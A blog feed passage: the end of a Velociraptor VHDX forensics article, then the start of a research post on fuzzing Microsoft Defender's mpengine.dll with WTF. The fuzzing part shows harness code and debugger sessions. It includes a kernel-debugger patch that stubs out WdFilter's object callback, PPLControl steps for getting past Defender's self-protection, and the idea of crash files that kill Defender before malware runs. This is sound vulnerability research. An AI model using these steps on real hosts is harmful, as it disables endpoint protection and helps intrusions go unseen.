&lt;li&gt;&lt;strong&gt;Configuration builder:&lt;/strong&gt; generates remapping YAML files for virtual clients&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Virtual client runner:&lt;/strong&gt; launches Velociraptor processes with profile mappings&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cleanup manager:&lt;/strong&gt; shuts down virtual clients and removes config artefacts&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Windows.Sys.Users (Override)&lt;/h2&gt;
&lt;p&gt;This custom override of the standard &lt;code&gt;Windows.Sys.Users&lt;/code&gt; artefact handles both traditional systems and virtual clients. It determines which enumeration logic to use based on a label assigned to the client (e.g. &lt;code&gt;remapped_profile&lt;/code&gt;).&lt;br /&gt;
&lt;strong&gt;Parameters:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;remoteRegKey&lt;/code&gt;: Location of the registry key holding the profile list.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;labelName&lt;/code&gt;: Client label that signals the use of VHDX-based enumeration.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In standard mode, it enumerates from the Windows registry. For virtual clients, it uses a &lt;code&gt;glob&lt;/code&gt; search for &lt;code&gt;C:\Users\*\NTUSER.DAT&lt;/code&gt;, indicating valid user hives within mounted VHDX files.&lt;/p&gt;
&lt;h2&gt;Windows.Vhdx.RemapConfigBuilder&lt;/h2&gt;
&lt;p&gt;This artefact generates the remapping configuration files required by each virtual Velociraptor client. It automatically detects user profiles, organises them into batches, and writes the YAML files to disk.&lt;br /&gt;
&lt;strong&gt;Parameters:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;vhdxFolderPath&lt;/code&gt;: Directory containing VHDX profile files.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;usernameExtractor&lt;/code&gt;: Regex used to extract usernames from filenames.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;user&lt;/code&gt;: Optional filter to restrict which profiles to process.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;virtualHostname&lt;/code&gt;: Hostname to assign to the virtual clients.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;batchSize&lt;/code&gt;: Number of profiles per virtual client.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vhdxOffset&lt;/code&gt;: NTFS start offset inside VHDX (default: 1048576).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The artefact creates a &lt;code&gt;Vhdx/Remapping&lt;/code&gt; directory within the Velociraptor staging directory and populates it with one YAML file per batch. Filenames are sorted using the first extracted username for easy lookup.
Internally, the artefact uses:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Shadow remapping&lt;/strong&gt; for &lt;code&gt;data&lt;/code&gt;, &lt;code&gt;raw_reg&lt;/code&gt;, and &lt;code&gt;zip&lt;/code&gt; accessors&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mount remapping&lt;/strong&gt; for &lt;code&gt;ntfs&lt;/code&gt;, &lt;code&gt;file&lt;/code&gt;, &lt;code&gt;auto&lt;/code&gt;, and &lt;code&gt;registry&lt;/code&gt; accessors&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once executed, the artefact will list the path of the created profiles in the results section.&lt;br /&gt;
&lt;img src=&quot;files/image_x.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Windows.Vhdx.VirtualClientRunner&lt;/h2&gt;
&lt;p&gt;This artefact launches one Velociraptor process per remapping file, effectively simulating a client that represents a set of user profiles.&lt;br /&gt;
&lt;strong&gt;Parameters:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;customLabel&lt;/code&gt;: Label to assign to virtual clients (must match label used in &lt;code&gt;Windows.Sys.Users&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;remappingFile&lt;/code&gt;: One or more remapping YAML files to launch.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It creates a subdirectory &lt;code&gt;Vhdx/Writeback&lt;/code&gt; for temporary writeback data. Each remapping file is passed into a PowerShell process that starts the virtual client.
Once executed, the artefact lists all successfully started virtual clients.&lt;br /&gt;
&lt;img src=&quot;files/image_c.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Windows.Vhdx.VirtualClientRemover&lt;/h2&gt;
&lt;p&gt;This artefact stops running virtual clients and optionally deletes all related configuration files.&lt;br /&gt;
&lt;strong&gt;Parameters:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;RemappingFile&lt;/code&gt;: Specific remapping file or directory to target.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RemoveConfiguration&lt;/code&gt;: If enabled, deletes &lt;code&gt;Vhdx&lt;/code&gt; folder and its subfolders.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ReallyKillProcess&lt;/code&gt;: If enabled, terminates running Velociraptor processes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It searches for running clients based on remapping file usage and performs cleanup accordingly.&lt;br /&gt;
&lt;img src=&quot;files/image_l.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Security Considerations&lt;/h1&gt;
&lt;p&gt;All testing described in this research was conducted on offline VHDX files, that is, files no longer actively managed by services like Citrix or Windows profile management tools.&lt;br /&gt;
In live environments, where VHDX profiles may still be in use or mounted, several risks should be considered:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Writeback conflicts&lt;/strong&gt;: If Velociraptor or the OS attempts to write to an active VHDX file, it may result in data corruption or race conditions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Profile locking&lt;/strong&gt;: Some virtualisation platforms may lock VHDX files during use, preventing remapping or causing artefact failures.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;System performance&lt;/strong&gt;: Mounting and scanning a large number of VHDX files can place a significant load on the host system.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Recommendations:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Perform investigations on copies of VHDX files whenever possible.&lt;/li&gt;
&lt;li&gt;Avoid using this approach directly on live Citrix or VDI environments without controlled testing.&lt;/li&gt;
&lt;li&gt;Start with small user subsets and adjust batch size based on your environment&apos;s capacity.&lt;/li&gt;
&lt;li&gt;Monitor resource usage (I/O, memory, open handles) when scaling beyond hundreds of profiles.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While we successfully analysed 1,000 small (2 GB) VHDX profiles in under a minute, larger profiles or more aggressive batching may introduce bottlenecks. Tailor your approach to match the capabilities and constraints of your infrastructure.&lt;/p&gt;
&lt;h1&gt;Availability on the Velociraptor Artifact Exchange&lt;/h1&gt;
&lt;p&gt;The entire VHDX Suite, including all artefacts presented in this article, is now available directly on the &lt;a href=&quot;https://docs.velociraptor.app/exchange/&quot;&gt;Velociraptor Artifact Exchange&lt;/a&gt;, the official community platform for sharing and maintaining Velociraptor artefacts.&lt;/p&gt;
&lt;p&gt;This means you can easily install, review, or adapt these artefacts within your existing Velociraptor deployment without manual import. Publishing them through the Exchange also ensures they are peer-reviewed and accessible to the wider DFIR community, supporting transparency and collaboration.&lt;/p&gt;
&lt;p&gt;If you wish to explore, test, or contribute improvements, simply search for the VHDX Suite by name on the Exchange portal or use the built-in Velociraptor GUI integration to fetch them directly.&lt;/p&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;This VHDX Velociraptor artefact suite provides a scalable and efficient method for conducting forensic investigations across user profiles stored in VHDX files. By leveraging virtual clients with remapped environments, analysts can reuse standard artefacts, such as &lt;code&gt;UserAssist&lt;/code&gt; or &lt;code&gt;NTUSER.DAT&lt;/code&gt; parsers, without modification.&lt;/p&gt;
&lt;p&gt;In our testing, this approach enabled the analysis of over 1,000 VHDX profiles in under a minute, significantly reducing the effort and complexity traditionally associated with VHDX triage.&lt;br /&gt;
While further validation is recommended in live or larger-scale environments, this methodology opens the door to high-volume, profile-level investigations using familiar DFIR tooling, without sacrificing speed or forensic integrity.&lt;/p&gt;
&lt;p&gt;The VHDX Suite artefacts featured in this post are now available on the &lt;a href=&quot;https://docs.velociraptor.app/exchange/&quot;&gt;Velociraptor Artifact Exchange&lt;/a&gt;, enabling practitioners to deploy and experiment with this workflow directly within their own environments.&lt;/p&gt;
</content:encoded><author>Yann Malherbe</author></item><item><title>Attacking EDRs Part 4: Fuzzing Defender&apos;s Scanning and Emulation Engine (mpengine.dll)</title><link>https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine/</guid><description>Multiple out-of-bounds read and null dereference bugs were identified in Microsoft Defender by using Snapshot Fuzzing with WTF and kAFL/NYX. The bugs can be used to crash the main Defender process as soon as the file is scanned. Most are unpatched, but none appear exploitable for code execution.</description><pubDate>Fri, 23 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This blog post is part of a series analyzing the attack surface for Endpoint Detection and Response (EDR) solutions by &lt;a href=&quot;https://x.com/p0w1_&quot;&gt;p0w1_&lt;/a&gt;. Parts 1-3 are linked, with concluding notes for that initial sub-series in Part 3.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part1_intro_-_security_analysis_of_edr_drivers/&quot;&gt;Part 1&lt;/a&gt; gives an overview of the attack surface of EDR software and describes the process for analysing drivers from the perspective of a low-privileged user.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/&quot;&gt;Part 2&lt;/a&gt; describes the results of the EDR driver security analysis. A minor authentication issue in the Windows driver of the Cortex XDR agent was identified (CVE-2024-5905). Additionally a PPL-&quot;bypass&quot; as well as a detection bypass by early startup.
Furthermore, snapshot fuzzing was applied to a Mini-Filter Communication Port of the Sophos Intercept X Windows Mini-Filter driver.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/&quot;&gt;Part 3&lt;/a&gt; describes a DoS vulnerability affecting most Windows EDR agents. This vulnerability allows a low-privileged user to crash/stop the agent permanently by exploiting an issue in how the agent handles preexisting objects in the Object Manager&apos;s namespace. Only some vendors assigned a CVE (CVE-2023-3280, CVE-2024-5909, CVE-2024-20671).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine&quot;&gt;Part 4&lt;/a&gt; (&lt;strong&gt;this post&lt;/strong&gt;) describes the fuzzing process of Microsoft Defender&apos;s scanning and emulation engine &lt;code&gt;mpengine.dll&lt;/code&gt;. Multiple out-of-bounds read and null dereference bugs were identified by using Snapshot Fuzzing with WTF and kAFL/NYX. These bugs can be used to crash the main Defender process as soon as the file is scanned. None of the bugs appear to be exploitable for code execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;1. Introduction&lt;/h1&gt;
&lt;p&gt;Microsoft Defender (and Defender for Endpoint) is a very interesting target for attackers. It&apos;s installed by default, runs as SYSTEM, has 1-click remote attack surface and has a vast codebase that parses and unpacks numerous file formats, making it prone to memory corruption vulnerabilities. Despite this, it does not receive much attention from public vulnerability researchers.&lt;/p&gt;
&lt;p&gt;Tavis Ormandy from Google Project Zero was one of the first to look into it and find an exploitable vulnerability &lt;a href=&quot;https://project-zero.issues.chromium.org/issues/42450309&quot;&gt;CVE-2017-8558&lt;/a&gt;. He created a DLL loader on Linux to fuzz it called &lt;a href=&quot;https://github.com/taviso/loadlibrary&quot;&gt;loadlibrary&lt;/a&gt; because at that time, no suitable Windows fuzzer for this target was available. Another RCE is &lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34522&quot;&gt;CVE-2021-34522&lt;/a&gt;. Afterwards, relatively little  research or vulnerabilities were published, which motivated me to explore this target.&lt;/p&gt;
&lt;h1&gt;2. Summary&lt;/h1&gt;
&lt;p&gt;Microsoft Defender and Defender for Endpoint include a local analysis engine &lt;code&gt;mpengine.dll&lt;/code&gt;, to identify potentially malicious files. This engine performs static checks and uses emulation environments for different file types. This target was fuzzed on Windows mainly using the snapshot fuzzer &lt;a href=&quot;https://github.com/0vercl0k/wtf&quot;&gt;WTF&lt;/a&gt;. Additionally, &lt;a href=&quot;https://github.com/IntelLabs/kAFL&quot;&gt;kAFL/NYX&lt;/a&gt; and &lt;a href=&quot;https://github.com/googleprojectzero/Jackalope&quot;&gt;Jackalope&lt;/a&gt; were tested. WTF found nine different bugs (OOB-reads and null dereferences), some of which can be used to crash Defender(&lt;code&gt;MsMpEng.exe&lt;/code&gt;) under normal conditions. Some bugs only lead to a crash with PageHeap enabled. However, after my analysis, none of the bugs appear to be exploitable for code execution.
Therefore, these bugs can primarily be used to kill Defender, allowing subsequent malicious actions without detection or prevention. For example, a malicious file could be delivered alongside an initial access payload to kill Defender before the payload executes. Alternatively, it could be used in an internal network to disable Defender by uploading the file to a target host or share before dumping credentials.&lt;/p&gt;
&lt;p&gt;Microsoft officially doesn&apos;t care about these vulnerabilities and responds with the famous:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;After careful investigation, this case has been assessed as moderate severity and does not meet MSRC’s bar for immediate servicing.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Despite this, they have probably quietly fixed at least one reported bug within a few weeks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Shortly after this post was published, all bugs were fixed silently.&lt;/p&gt;
&lt;h1&gt;3. How to fuzz &lt;code&gt;mpengine.dll&lt;/code&gt;?&lt;/h1&gt;
&lt;p&gt;In 2017, Google Project Zero fuzzed it on Linux by creating a &lt;a href=&quot;https://github.com/taviso/loadlibrary&quot;&gt;DLL loader&lt;/a&gt; and writing this &lt;a href=&quot;https://github.com/taviso/loadlibrary/blob/master/mpclient.c&quot;&gt;harness&lt;/a&gt;. The original harness does no longer work on newer mpengine versions but this could be fixed by some changes. In 2022, &lt;a href=&quot;https://medium.com/s2wblog/fuzzing-the-shield-cve-2022-24548-96f568980c0&quot;&gt;S2W&lt;/a&gt; ported the harness to a newer mpengine version (though not publicly released) and fuzzed it using Jackalope.&lt;/p&gt;
&lt;p&gt;Both approaches manually booted mpengine using &lt;code&gt;RSIG_BOOTENGINE&lt;/code&gt; and then initiated a scan by &lt;code&gt;RSIG_SCAN_STREAMBUFFER&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BootParams.ClientVersion = BOOTENGINE_PARAMS_VERSION;
BootParams.Attributes    = BOOT_ATTR_NORMAL;
BootParams.SignatureLocation = L&quot;engine&quot;;
BootParams.ProductName = L&quot;Legitimate Antivirus&quot;;
EngineConfig.QuarantineLocation = L&quot;quarantine&quot;;
EngineConfig.Inclusions = L&quot;*.*&quot;;
EngineConfig.EngineFlags = 1 &amp;lt;&amp;lt; 1;
BootParams.EngineInfo = &amp;amp;EngineInfo;
BootParams.EngineConfig = &amp;amp;EngineConfig;
KernelHandle = NULL;
__rsignal(&amp;amp;KernelHandle, RSIG_BOOTENGINE, &amp;amp;BootParams, sizeof BootParams) != 0

[...]

ScanParams.Descriptor        = &amp;amp;ScanDescriptor;
ScanParams.ScanReply         = &amp;amp;ScanReply;
ScanReply.EngineScanCallback = EngineScanCallback;
ScanReply.field_C            = 0x7fffffff;
ScanDescriptor.Read          = ReadStream;  //The fuzzing payload is read by this function
ScanDescriptor.GetSize       = GetStreamSize;
ScanDescriptor.GetName       = GetStreamName;
__rsignal(&amp;amp;KernelHandle, RSIG_SCAN_STREAMBUFFER, &amp;amp;ScanParams, sizeof ScanParams)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The question for me was: does this actually scan the content in the exact same way as when a file or stream is scanned under normal operating conditions? Perhaps there are other configurations, or it scans files differently than streams?&lt;/p&gt;
&lt;p&gt;While browsing &lt;code&gt;mpengine.dll&lt;/code&gt; in IDA, I noticed many configuration options that could influence fuzzing results if they differed from a real environment:
&lt;img src=&quot;./mpengine_queryconfig.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Therefore, I decided to use a different approach by using snapshot fuzzing with WTF. This way, mpengine.dll is already booted and configured identically to a real environment. Additionally, a file-based scan can be used instead of a stream when taking a snapshot after initiating a file scan. An overview of the steps to use WTF are already described in &lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/#3-sophos-intercept-x&quot;&gt;Part 2, Section 3&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A manual file scan for Defender can be triggered using &lt;code&gt;MpCmdRun.exe&lt;/code&gt;. However, this does not trigger the scan in the same process but instead sends a RPC request and then uses the exported function &lt;code&gt;rsignal&lt;/code&gt; to initiate the scan within &lt;code&gt;mpengine.dll&lt;/code&gt; loaded by &lt;code&gt;MsMpEng.exe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The next step is to debug Defender in order to understand where the scans occur.&lt;/p&gt;
&lt;h2&gt;3.1 Debugging Defender&lt;/h2&gt;
&lt;p&gt;The target process that needs to be debugged is &lt;code&gt;MsMpEng.exe&lt;/code&gt;. However, AVs/EDRs have self-protection features to prevent debugging or code injection.&lt;/p&gt;
&lt;p&gt;There are two main options to debug it:&lt;/p&gt;
&lt;h4&gt;1.) Use a user mode debugger and bypass restrictions&lt;/h4&gt;
&lt;p&gt;Use &lt;a href=&quot;https://github.com/itm4n/PPLcontrol&quot;&gt;PPLControl&lt;/a&gt; to elevate the debugging process to PPL-WinSystem. Afterwards, this process can access other PPL processes, such as Defender&apos;s.
&lt;img src=&quot;./pplcontrol.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./pplcontrol2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However, kernel callbacks still prevent access to &lt;code&gt;MsMpEng.exe&lt;/code&gt;. These can be removed by overwriting a central callback function in the Defender kernel driver &lt;code&gt;WdFilter.sys&lt;/code&gt; using WinDBG as a kernel debugger:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; a WdFilter!MpObPreOperationCallback
fffff807`1e5cd100 xor eax,eax
fffff807`1e5cd102 ret
fffff807`1e5cd103 
0: kd&amp;gt; u WdFilter!MpObPreOperationCallback
WdFilter!MpObPreOperationCallback:
fffff807`1e5cd100 31c0            xor     eax,eax
fffff807`1e5cd102 c3              ret
fffff807`1e5cd103 284883          sub     byte ptr [rax-7Dh],cl
fffff807`1e5cd106 7a08            jp      WdFilter!MpObPreOperationCallback+0x10 (fffff807`1e5cd110)
fffff807`1e5cd108 00742e48        add     byte ptr [rsi+rbp+48h],dh
fffff807`1e5cd10c 8b05de33feff    mov     eax,dword ptr [WdFilter!ExDesktopObjectType (fffff807`1e5b04f0)]
fffff807`1e5cd112 488b4a10        mov     rcx,qword ptr [rdx+10h]
fffff807`1e5cd116 483b08          cmp     rcx,qword ptr [rax]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Afterwards, a debugger can be attached regularly:
&lt;img src=&quot;./windbg_msmpeng.exe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;2.) Use WinDBG as a kernel debugger and follow the MsMpEng.exe process.&lt;/h4&gt;
&lt;p&gt;After attaching WinDBG (e.g., with &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-a-network-debugging-connection-automatically&quot;&gt;KDNET&lt;/a&gt;), set the debugger&apos;s context to the target process:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; !process 0 0 MsMpEng.exe
PROCESS ffffb385a10d0080
    SessionId: 0  Cid: 0df8    Peb: 22c10a0000  ParentCid: 0288
    DirBase: 1a431e000  ObjectTable: ffffe08888ed27c0  HandleCount: 452.
    Image: MsMpEng.exe

kd&amp;gt; .process /i /p ffffb385a10d0080
You need to continue execution (press &apos;g&apos; &amp;lt;enter&amp;gt;) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd&amp;gt; g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff805`829fedc0 cc              int     3
kd&amp;gt; .reload /user
Loading User Symbols
.....................................................
kd&amp;gt; lmu
start             end                 module name
00007ff7`15a50000 00007ff7`15a6f000   MsMpEng    (deferred)             
00007ffe`52430000 00007ffe`5247d000   wscapi     (deferred)             
00007ffe`59090000 00007ffe`5a29f000   mpengine   (deferred)   

kd&amp;gt; bp /p ffffb385a10d0080 mpengine!UfsScannerWrapper::ScanFile
kd&amp;gt; g
Breakpoint 1 hit
mpengine!UfsScannerWrapper::ScanFile:
0033:00007ffe`5926fba0 48895c2408      mov     qword ptr [rsp+8],rbx         
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, you can use &lt;a href=&quot;https://github.com/bootleg/ret-sync&quot;&gt;ret-sync&lt;/a&gt; to synchronize the debugger&apos;s position with a static analysis tool like IDA Pro. This allows stepping through decompiled code, which is very helpful:
&lt;img src=&quot;./windbg_retsync.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;4. Fuzzing&lt;/h1&gt;
&lt;h2&gt;4.1 WTF Snapshot Position&lt;/h2&gt;
&lt;p&gt;The next step is to take a snapshot at a good position that primarily executes the interesting target code. Fortunately, public debug symbols for &lt;code&gt;Mpengine.dll&lt;/code&gt; are typically released some days or weeks after a new version. However, this DLL is almost 20MB and it&apos;s not easy to navigate. Therefore, I used ProcMon from Sysinternals to identify the code location where the target file is read.
&lt;img src=&quot;./procmon.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The best position would be after the file content is loaded into memory and passed as an argument to a scan function, like so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;res = readFile(path);
scanFile(res.content, res.size);  //Take snapshot on this line
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, the actual code is not that straightforward. I decided to take the snapshot before the file is read and then inject the fuzzing payloads in a virtual implementation of &lt;code&gt;ReadFile&lt;/code&gt; in WTF. The initial problem was, that the code called functions which accessed hardware such as the file system. This is not available in WTF as it only emulates memory and CPU. WTF already implements some virtual file system functions in &lt;a href=&quot;https://github.com/0vercl0k/wtf/blob/main/src/wtf/fshooks.cc&quot;&gt;fshooks.cc&lt;/a&gt;, but additional ones needed to be added. At the end the snapshot was taken within &lt;code&gt;mpengine!SysIo::OpenFile&lt;/code&gt; after a call to &lt;code&gt;FilterOplock::AcquireOplock&lt;/code&gt; because this function was not implemented virtually.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall SysIo::OpenFile(
        SysIo *this,
        wchar_t *file_path,
        unsigned int a3,
        unsigned int access_flags,
        unsigned int share_mode,
        struct IFile **a6,
        struct IFile *a7)
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;snapshot_position_ida.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt;Snapshot position at mpengine+0x15469A (within SysIo::OpenFile)&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h2&gt;4.2 WTF Harness&lt;/h2&gt;
&lt;p&gt;Writing a harness for WTF (see &lt;a href=&quot;https://github.com/0vercl0k/wtf/blob/main/src/wtf/fuzzer_dummy.cc&quot;&gt;dummy-template&lt;/a&gt;) differs from typical fuzzers like AFL++, WinAFL, Jackalope, or LibFuzzer. Usually, the harness needs to set up the target and call the target function. For WTF, it typically only needs to inject the fuzzing payload and size at the correct memory location. In this case, however, the fuzzing payload needs to be provided to the &lt;code&gt;ReadFile&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;The following code shows the cropped code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bool InsertTestcase(const uint8_t *Buffer, const size_t BufferSize) {
  [...]
  std::u16string GuestFile = uR&quot;(\??\C:\Users\User\Downloads\test-files\aspack_Hash.exe)&quot;;
  
  g_FsHandleTable.MapExistingGuestFile(GuestFile.c_str(), Buffer, BufferSize);
  //g_FsHandleTable.AddHandle(HANDLE(0x97c), GuestFileFile); //Alternatively, if the file is already opened, it can be mapped to a handle.
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The debug print statements of the hooked file functions confirm that the file is opened and read correctly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS &amp;gt; .\wtf.exe run --name defender_file --input .\test --state .\state2_MpEngine1.1.2310_PHenabled_locked\ 
Setting @fptw to 0xff&apos;ff.
Initializing the debugger instance.. (this takes a bit of time)
Setting debug register status to zero.
Setting debug register status to zero.
DEBUG: 0
Could not set a breakpoint at hal!HalpPerfInterrupt.
Failed to set breakpoint on HalpPerfInterrupt, but ignoring..
Running .\test
fs: Mapping already existing guest file \??\C:\Users\User\Downloads\test-files\aspack_Hash.exe with filestream(16483)
fs: ntdll!NtCreateFile(FileHandle=0x9f0c8fc848, DesiredAccess=0x120089, ObjectAttributes=0x9f0c8fc880 (\??\C:\Users\User\Downloads\test-files\aspack_Hash.exe), IoStatusBlock=0x9f0c8fc870, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7 (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE), CreateDisposition=0x1 (FILE_OPEN), CreateOptions=0x160 (FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_COMPLETE_IF_OPLOCKED), EaBuffer=0x0, EaLength=0x0)
fs: IsBlacklisted: false
fs: Exists: true
fs: Opening 0x7ffffffe for \??\C:\Users\User\Downloads\test-files\aspack_Hash.exe
fs: ntdll!NtQueryVolumeInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fc9b0, FsInformation=0x9f0c8fc9e0, Length=0x8, FsInformationClass=0x4)
fs: ntdll!NtQueryInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fc980, FileInformation=0x9f0c8fc990, Length=0x28, FileInformationClass=0x4)
fs: ntdll!NtQueryInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fca20, FileInformation=0x9f0c8fca30, Length=0x18, FileInformationClass=0x5)
fs: ntdll!NtSetInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fc848, FileInformation=0x9f0c8fc840, Length=0x8, FileInformationClass=0xe)
fs: nt!NtReadFile(FileHandle=0x7ffffffe, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x9f0c8fc870, Buffer=0x231017abfe0, Length=0x1000, ByteOffset=0x0, Key=0x0)
fs: ntdll!NtSetInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fc838, FileInformation=0x9f0c8fc830, Length=0x8, FileInformationClass=0xe)
fs: nt!NtReadFile(FileHandle=0x7ffffffe, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x9f0c8fc860, Buffer=0x231017aefe0, Length=0x2000, ByteOffset=0x0, Key=0x0)
fs: ntdll!NtSetInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8f9de8, FileInformation=0x9f0c8f9de0, Length=0x8, FileInformationClass=0xe)
fs: nt!NtReadFile(FileHandle=0x7ffffffe, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x9f0c8f9e10, Buffer=0x231017acfe0, Length=0x4000, ByteOffset=0x0, Key=0x0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In order to debug the fuzzing process, it is useful to set breakpoints in interesting functions to see if they are called:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bool Init(const Options_t &amp;amp;Opts, const CpuState_t &amp;amp;) {
  if (!g_Backend-&amp;gt;SetBreakpoint(&quot;mpengine!UfsScannerWrapper::ScanFile&quot;, [](Backend_t *Backend) {
        DebugPrint(&quot;Called ScanFile()\n&quot;);          
      })) {
    DebugPrint(&quot;Failed to SetBreakpoint mpengine!UfsScannerWrapper::ScanFile\n&quot;);
    return false;
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Additionally, the coverage output can be loaded in &lt;a href=&quot;https://github.com/gaasedelen/lighthouse&quot;&gt;Lighthouse&lt;/a&gt; or &lt;a href=&quot;https://github.com/gaasedelen/tenet&quot;&gt;tenet-traces&lt;/a&gt; can be created.&lt;/p&gt;
&lt;p&gt;During tests with a small corpus, too many context switches (changes to the CR3 register) occurred. These negatively impact performance in snapshot fuzzers. Most could be resolved by skipping certain functions. For example, &lt;code&gt;mpengine!IsTrustedFile&lt;/code&gt; attempted to load certificate files from disk to verify trust. Such functions can be skipped:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!g_Backend-&amp;gt;SetBreakpoint(&quot;mpengine!IsTrustedFile&quot;, [](Backend_t *Backend) {
        DebugPrint(&quot;mpengine!IsTrustedFile Hook SKIP 0x0&quot;);
        Backend-&amp;gt;SimulateReturnFromFunction(0);
      })) {
    DebugPrint(&quot;Failed to SetBreakpoint IsTrustedFile&quot;);
    return false;
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The fuzzing speed with the BochsCPU backend was impractically slow, but using KVM, I achieved 30-100 exec/s on a modern server CPU depending on the file size and type. The target executes billions of instructions depending on the payload, so really high speeds cannot be expected. Even on a real system, some files can take multiple seconds to scan.&lt;/p&gt;
&lt;h2&gt;4.3 Initial Corpus&lt;/h2&gt;
